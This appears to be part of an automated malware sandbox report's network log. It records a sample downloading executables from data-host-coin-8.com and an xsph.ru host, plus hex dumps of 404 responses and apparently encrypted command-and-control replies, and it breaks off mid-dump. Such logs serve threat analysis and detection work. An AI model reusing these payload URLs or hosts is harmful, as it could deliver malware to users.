Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: GET /files/9042_1641895079_9876.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:04 GMTContent-Type: text/htmlContent-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Fri, 14 Jan 2022 03:59:42 GMTContent-Type: text/plain; charset=utf-8Content-Length: 10Connection: closeRetry-After: Fri, 14 Jan 2022 04:59:44 GMTX-Content-Type-Options: nosniffX-Made-With: <3 by DutchCodersX-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18X-Ratelimit-Limit: 10X-Ratelimit-Rate: 600X-Ratelimit-Remaining: 9X-Ratelimit-Reset: 1642132784X-Served-By: Proudly served by DutchCoders
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:58:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 1c b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:58:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:58:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:58:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 14 Jan 2022 03:57:44 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 